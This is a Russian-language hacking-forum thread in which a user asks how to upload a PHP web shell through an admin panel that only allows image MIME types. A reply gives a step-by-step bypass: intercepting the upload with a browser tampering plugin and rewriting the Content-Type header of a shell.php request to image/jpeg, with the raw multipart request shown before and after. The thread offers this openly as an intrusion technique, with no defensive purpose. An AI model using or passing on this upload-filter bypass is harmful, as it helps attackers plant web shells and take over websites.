MIME Types и php-шелл

Discussion in 'Песочница' started by Maledictus, 13 Sep 2010.

  1. Maledictus

    Maledictus New Member

    Joined:
    27 Apr 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0
    Есть доступ к админке. Есть возможность указать разрешенные mime-type(сейчас разрешены только jpeg, png, jpg). Как залить php шелл?
     
  2. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Мне кажется или ты уже сам ответил на свой вопрос?
    Укажи в заголовке Content-Type: image/jpeg или любое из разрешенных расширений.
     
  3. Maledictus

    Maledictus New Member

    Joined:
    27 Apr 2009
    Messages:
    14
    Likes Received:
    0
    Reputations:
    0

    Вот именно это я и не понимаю как сделать?
    И можно как-нить добавить вид php-скрипта в разрешенные mime? Какой у него?
     
  4. h00lyshit!

    h00lyshit! [From Nobody To Root]

    Joined:
    10 Sep 2009
    Messages:
    289
    Likes Received:
    290
    Reputations:
    195
    Например плагином Tamper Data для Mozilla Firefox.
    Запускаешь перехват данных и пытаешься залить шелл, после чего жмешь вмешаться.

    В ответ придет, что то вроде:

    Code:
    -----------------------------41184676334\r\n
    Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n
    -----------------------------41184676334\r\n
    Content-Disposition: form-data; name="uploaded"; filename="shell.php"\r\n
    Content-Type: application/octet-stream\r\n\r\n<?php\r\nphpinfo();\r\n?>\r\n
    -----------------------------41184676334\r\n
    Content-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n
    -----------------------------41184676334--\r\n
    Меняешь на:

    Code:
    ------------------------------41184676334\r\n
    Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n\r\n100000\r\n
    -----------------------------41184676334\r\n
    Content-Disposition: form-data; name="uploaded"; filename="shell.php"\r\n
    Content-Type: [B][COLOR=White]image/jpeg[/COLOR][/B]\r\n\r\n<?php\r\nphpinfo();\r\n?>\r\n
    -----------------------------41184676334\r\n
    Content-Disposition: form-data; name="Upload"\r\n\r\nUpload\r\n
    -----------------------------41184676334--\r\n
    И отправляешь.
     
Loading...